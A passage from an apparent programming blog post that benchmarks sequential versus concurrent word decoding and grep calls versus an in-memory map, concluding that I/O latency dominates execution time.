interpretation 54.691µs 24.17µs
lawn 65.922µs 9.176µs
unifying 155.726µs 71.785µs
electives 113.074µs 47.478µs
sanctioned 286.94µs 464.20µs

Somehow the older and less powerful ThinkPad still seems considerably faster, but at least the difference is not so substantial anymore… 😌

Results

The below picture briefly summarizes the observed results when it comes to performance, which was measured by execution time. In order to mitigate transient effects on execution time, there were 10 measurements taken for each variant.

Explanation for the different variants (Seq vs. Con and Grep vs Map):

Seq: each line is decoded one after the other in sequence.
Con: each line is processed concurrently on a pool of workers.
Grep: dictionary lookup done via exec call to GREP.
Map: dictionary is loaded into a string map in memory.

Quite frankly, the results speak for themselves. The most notable thing is that, compared to the most basic version (Seq-Grep), the biggest improvement is achieved not by using concurrency, but by eliminating the repeated calls to Grep.

This is not to say that enabling concurrency did not have an impact on the execution time, on average it decreased from 9 to 6 seconds, which is quite good already!

However, I/O latency seems to have a higher cost on the performance than lack of parallel processing. At least at the scale of input for this example this is the case. This difference is less pronounced when tests were run using a file which had 500 lines of encoded words (instead of just 5).

Conclusion

Never underestimate the power of I/O delay and the effect it can have on your program. Even if you have a very powerful machine, this can bog your performance down considerably! Also, it may help your program’s performance further, if you implement proper concurrent processing whenever possible.